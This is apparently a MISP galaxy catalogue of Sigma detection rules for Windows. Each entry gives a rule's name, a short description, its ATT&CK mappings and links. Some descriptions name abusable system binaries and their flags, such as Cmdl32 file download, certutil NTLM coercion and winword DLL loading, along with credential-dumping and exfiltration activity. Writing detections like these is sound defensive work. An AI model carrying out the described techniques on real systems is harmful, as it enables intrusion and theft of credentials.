- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 15996. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md

https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_direct_asep_registry_keys_modification.yml

Loaded Module Enumeration Via Tasklist.EXE

Detects the enumeration of a specific DLL or EXE being used by a binary via "tasklist.exe". This is often used by attackers in order to find the specific process identifier (PID) that is using the DLL in question. In order to dump the process memory or perform other nefarious actions.

The tag is: *misp-galaxy:sigma-rules="Loaded Module Enumeration Via Tasklist.EXE"*

View relationships graph

Loaded Module Enumeration Via Tasklist.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 15997. Table References

Links
https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/
https://pentestlab.blog/tag/svchost/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tasklist_module_enumeration.yml

File Download Using Notepad++ GUP Utility

Detects execution of the Notepad updater (gup) from a process other than Notepad to download files.

The tag is: *misp-galaxy:sigma-rules="File Download Using Notepad++ GUP Utility"*

View relationships graph

File Download Using Notepad++ GUP Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15998. Table References

Links
https://twitter.com/nas_bench/status/1535322182863179776

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_download.yml

HackTool - Covenant PowerShell Launcher

Detects suspicious command lines used in Covenant luanchers

The tag is: *misp-galaxy:sigma-rules="HackTool - Covenant PowerShell Launcher"*

View relationships graph

HackTool - Covenant PowerShell Launcher has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

Table 15999. Table References

Links
https://posts.specterops.io/covenant-v0-5-eee0507b85ba
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_covenant.yml

Lolbin Runexehelper Use As Proxy

Detect usage of the "runexehelper.exe" binary as a proxy to launch other programs

The tag is: *misp-galaxy:sigma-rules="Lolbin Runexehelper Use As Proxy"*

View relationships graph

Lolbin Runexehelper Use As Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16000. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/
https://twitter.com/0gtweet/status/1206692239839289344
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_runexehelper.yml

Disabled IE Security Features

Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features

The tag is: *misp-galaxy:sigma-rules="Disabled IE Security Features"*

View relationships graph

Disabled IE Security Features has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16001. Table References

Links
https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_ie_features.yml

Suspicious Extrac32 Execution

Download or Copy file with Extrac32

The tag is: *misp-galaxy:sigma-rules="Suspicious Extrac32 Execution"*

View relationships graph

Suspicious Extrac32 Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 16002. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Extrac32/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml

Import PowerShell Modules From Suspicious Directories - ProcCreation

Detects powershell scripts that import modules from suspicious directories

The tag is: *misp-galaxy:sigma-rules="Import PowerShell Modules From Suspicious Directories - ProcCreation"*

View relationships graph

Import PowerShell Modules From Suspicious Directories - ProcCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16003. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_import_module_susp_dirs.yml

HackTool - SharpImpersonation Execution

Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpImpersonation Execution"*

View relationships graph

HackTool - SharpImpersonation Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"

Table 16004. Table References

Links
https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/
https://github.com/S3cur3Th1sSh1t/SharpImpersonation
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_impersonation.yml

PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE

Detects active directory enumeration activity using known AdFind CLI flags

The tag is: *misp-galaxy:sigma-rules="PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE"*

View relationships graph

PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

Table 16005. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md
https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx
https://www.joeware.net/freetools/tools/adfind/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_enumeration.yml

PUA - NSudo Execution

Detects the use of NSudo tool for command execution

The tag is: *misp-galaxy:sigma-rules="PUA - NSudo Execution"*

View relationships graph

PUA - NSudo Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16006. Table References

Links
https://web.archive.org/web/20221019044836/https://nsudo.m2team.org/en-us/
https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nsudo.yml

Email Exifiltration Via Powershell

Detects email exfiltration via powershell cmdlets

The tag is: *misp-galaxy:sigma-rules="Email Exifiltration Via Powershell"*

Table 16007. Table References

Links
https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/

https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_email_exfil.yml

Diskshadow Script Mode - Execution From Potential Suspicious Location

Detects execution of "Diskshadow.exe" in script mode using the "/s" flag where the script is located in a potentially suspicious location.

The tag is: *misp-galaxy:sigma-rules="Diskshadow Script Mode - Execution From Potential Suspicious Location"*

View relationships graph

Diskshadow Script Mode - Execution From Potential Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16008. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow
https://research.checkpoint.com/2022/evilplayout-attack-against-irans-state-broadcaster/
https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration
https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware
https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4
https://www.lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_diskshadow_script_mode_susp_location.yml

Dynamic .NET Compilation Via Csc.EXE

Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.

The tag is: *misp-galaxy:sigma-rules="Dynamic .NET Compilation Via Csc.EXE"*

View relationships graph

Dynamic .NET Compilation Via Csc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

Table 16009. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1027.004/T1027.004.md#atomic-test-1---compile-after-delivery-using-cscexe
https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/
https://twitter.com/gN3mes1s/status/1206874118282448897
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csc_susp_dynamic_compilation.yml

Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE

Detects Netsh command execution that whitelists a program located in a suspicious location in the Windows Firewall

The tag is: *misp-galaxy:sigma-rules="Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE"*

View relationships graph

Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 16010. Table References

Links
https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100
https://www.virusradar.com/en/Win32_Kasidet.AD/description
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_program_in_susp_location.yml

Remote Access Tool - Simple Help Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - Simple Help Execution"*

View relationships graph

Remote Access Tool - Simple Help Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 16011. Table References

Links
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_simple_help.yml

PsExec/PAExec Escalation to LOCAL SYSTEM

Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights

The tag is: *misp-galaxy:sigma-rules="PsExec/PAExec Escalation to LOCAL SYSTEM"*

View relationships graph

PsExec/PAExec Escalation to LOCAL SYSTEM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

Table 16012. Table References

Links
https://www.poweradmin.com/paexec/
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_paexec_escalate_system.yml

DSInternals Suspicious PowerShell Cmdlets

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

The tag is: *misp-galaxy:sigma-rules="DSInternals Suspicious PowerShell Cmdlets"*

View relationships graph

DSInternals Suspicious PowerShell Cmdlets has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16013. Table References

Links
https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.PowerShell/DSInternals.psd1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dsinternals_cmdlets.yml

Suspicious Windows Trace ETW Session Tamper Via Logman.EXE

Detects the execution of "logman" utility in order to disable or delete Windows trace sessions

The tag is: *misp-galaxy:sigma-rules="Suspicious Windows Trace ETW Session Tamper Via Logman.EXE"*

View relationships graph

Suspicious Windows Trace ETW Session Tamper Via Logman.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

Table 16014. Table References

Links
https://twitter.com/0gtweet/status/1359039665232306183?s=21
https://ss64.com/nt/logman.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logman_disable_eventlog.yml

RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses

Detects calls to the AtomicTestHarnesses "Invoke-ATHRemoteFXvGPUDisablementCommand" which is designed to abuse the "RemoteFXvGPUDisablement.exe" binary to run custom PowerShell code via module load-order hijacking.

The tag is: *misp-galaxy:sigma-rules="RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses"*

View relationships graph

RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16015. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md
https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_remotefxvgpudisablement_abuse.yml

Webshell Hacking Activity Patterns

Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system

The tag is: *misp-galaxy:sigma-rules="Webshell Hacking Activity Patterns"*

View relationships graph

Webshell Hacking Activity Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 16016. Table References

Links
https://youtu.be/7aemGhaE9ds?t=641
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml

Potential Privilege Escalation via Service Permissions Weakness

Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level

The tag is: *misp-galaxy:sigma-rules="Potential Privilege Escalation via Service Permissions Weakness"*

View relationships graph

Potential Privilege Escalation via Service Permissions Weakness has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 16017. Table References

Links
https://pentestlab.blog/2017/03/31/insecure-registry-permissions/
https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_privilege_escalation_via_service_key.yml

Potential Arbitrary File Download Via Cmdl32.EXE

Detects execution of Cmdl32 with the "/vpn" and "/lan" flags. Attackers can abuse this utility in order to download arbitrary files via a configuration file. Inspect the location and the content of the file passed as an argument in order to determine if it is suspicious.

The tag is: *misp-galaxy:sigma-rules="Potential Arbitrary File Download Via Cmdl32.EXE"*

View relationships graph

Potential Arbitrary File Download Via Cmdl32.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 16018. Table References

Links
https://twitter.com/SwiftOnSecurity/status/1455897435063074824
https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/
https://github.com/LOLBAS-Project/LOLBAS/pull/151
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmdl32_arbitrary_file_download.yml

OpenWith.exe Executes Specified Binary

The OpenWith.exe executes other binary

The tag is: *misp-galaxy:sigma-rules="OpenWith.exe Executes Specified Binary"*

View relationships graph

OpenWith.exe Executes Specified Binary has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16019. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml
https://twitter.com/harr0ey/status/991670870384021504
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openwith.yml

Cmd.EXE Missing Space Characters Execution Anomaly

Detects Windows command lines that miss a space before or after the /c flag when running a command using the cmd.exe. This could be a sign of obfuscation of a fat finger problem (typo by the

developer).

The tag is: *misp-galaxy:sigma-rules="Cmd.EXE Missing Space Characters Execution Anomaly"*

View relationships graph

Cmd.EXE Missing Space Characters Execution Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16020. Table References

Links
https://ss64.com/nt/cmd.html
https://twitter.com/cyb3rops/status/1562072617552678912
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_no_space_execution.yml

Run PowerShell Script from Redirected Input Stream

Detects PowerShell script execution via input stream redirect

The tag is: *misp-galaxy:sigma-rules="Run PowerShell Script from Redirected Input Stream"*

View relationships graph

Run PowerShell Script from Redirected Input Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 16021. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml
https://twitter.com/Moriarty_Meng/status/984380793383370752
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_run_script_from_input_stream.yml

Execute From Alternate Data Streams

Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection

The tag is: *misp-galaxy:sigma-rules="Execute From Alternate Data Streams"*

View relationships graph

Execute From Alternate Data Streams has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 16022. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml

Suspicious Execution of Shutdown to Log Out

Detects the rare use of the command line tool shutdown to logoff a user

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution of Shutdown to Log Out"*

View relationships graph

Suspicious Execution of Shutdown to Log Out has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 16023. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_logoff.yml

Unusual Parent Process For Cmd.EXE

Detects suspicious parent process for cmd.exe

The tag is: *misp-galaxy:sigma-rules="Unusual Parent Process For Cmd.EXE"*

View relationships graph

Unusual Parent Process For Cmd.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 16024. Table References

Links
https://www.elastic.co/guide/en/security/current/unusual-parent-process-for-cmd.exe.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_unusual_parent.yml

Operator Bloopers Cobalt Strike Commands

Detects use of Cobalt Strike commands accidentally entered in the CMD shell

The tag is: *misp-galaxy:sigma-rules="Operator Bloopers Cobalt Strike Commands"*

View relationships graph

Operator Bloopers Cobalt Strike Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 16025. Table References

Links
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf
https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_cmd.yml

Potential NTLM Coercion Via Certutil.EXE

Detects possible NTLM coercion via certutil using the 'syncwithWU' flag

The tag is: *misp-galaxy:sigma-rules="Potential NTLM Coercion Via Certutil.EXE"*

View relationships graph

Potential NTLM Coercion Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16026. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/issues/243

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml

Private Keys Reconnaissance Via CommandLine Tools

Adversaries may search for private key certificate files on compromised systems for insecurely stored credential

The tag is: *misp-galaxy:sigma-rules="Private Keys Reconnaissance Via CommandLine Tools"*

View relationships graph

Private Keys Reconnaissance Via CommandLine Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

Table 16027. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_private_keys_recon.yml

Arbitrary File Download Via MSPUB.EXE

Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files

The tag is: *misp-galaxy:sigma-rules="Arbitrary File Download Via MSPUB.EXE"*

View relationships graph

Arbitrary File Download Via MSPUB.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 16028. Table References

Links
https://github.com/LOLBAS-Project/LOLBAS/pull/238/files
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mspub_download.yml

Compress Data and Lock With Password for Exfiltration With 7-ZIP

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities

The tag is: *misp-galaxy:sigma-rules="Compress Data and Lock With Password for Exfiltration With 7-ZIP"*

View relationships graph

Compress Data and Lock With Password for Exfiltration With 7-ZIP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 16029. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_password_compression.yml

Potential Arbitrary DLL Load Using Winword

Detects potential DLL sideloading using the Microsoft Office winword process via the '/l' flag.

The tag is: *misp-galaxy:sigma-rules="Potential Arbitrary DLL Load Using Winword"*

View relationships graph

Potential Arbitrary DLL Load Using Winword has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 16030. Table References

Links
https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_winword_dll_load.yml

Regsvr32 DLL Execution With Suspicious File Extension

Detects the execution of REGSVR32.exe with DLL files masquerading as other files

The tag is: *misp-galaxy:sigma-rules="Regsvr32 DLL Execution With Suspicious File Extension"*

View relationships graph

Regsvr32 DLL Execution With Suspicious File Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 16031. Table References

Links
https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html
https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/
https://harfanglab.io/insidethelab/uac-0057-pressure-ukraine-poland/
https://guides.lib.umich.edu/c.php?g=282942&p=1885348
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_extensions.yml

Suspicious XOR Encoded PowerShell Command

Detects presence of a potentially xor encoded powershell command

The tag is: *misp-galaxy:sigma-rules="Suspicious XOR Encoded PowerShell Command"*

View relationships graph

Suspicious XOR Encoded PowerShell Command has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 16032. Table References

Links
https://redcanary.com/blog/yellow-cockatoo/
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65

https://zero2auto.com/2020/05/19/netwalker-re/
https://mez0.cc/posts/cobaltstrike-powershell-exec/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_xor_commandline.yml

Suspicious Encoded Scripts in a WMI Consumer

Detects suspicious encoded payloads in WMI Event Consumers

The tag is: *misp-galaxy:sigma-rules="Suspicious Encoded Scripts in a WMI Consumer"*

View relationships graph

Suspicious Encoded Scripts in a WMI Consumer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 16033. Table References

Links
https://github.com/RiccardoAncarani/LiquidSnake
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_encoded_scripts.yml

WMI Event Subscription

Detects creation of WMI event subscription persistence method

The tag is: *misp-galaxy:sigma-rules="WMI Event Subscription"*

View relationships graph

WMI Event Subscription has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 16034. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-19-wmievent-wmieventfilter-activity-detected
https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-21-wmievent-wmieventconsumertofilter-activity-detected

https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-20-wmievent-wmieventconsumer-activity-detected
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_event_subscription.yml

Suspicious Scripting in a WMI Consumer

Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers

The tag is: *misp-galaxy:sigma-rules="Suspicious Scripting in a WMI Consumer"*

View relationships graph

Suspicious Scripting in a WMI Consumer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 16035. Table References

Links
https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19
https://github.com/RiccardoAncarani/LiquidSnake
https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/
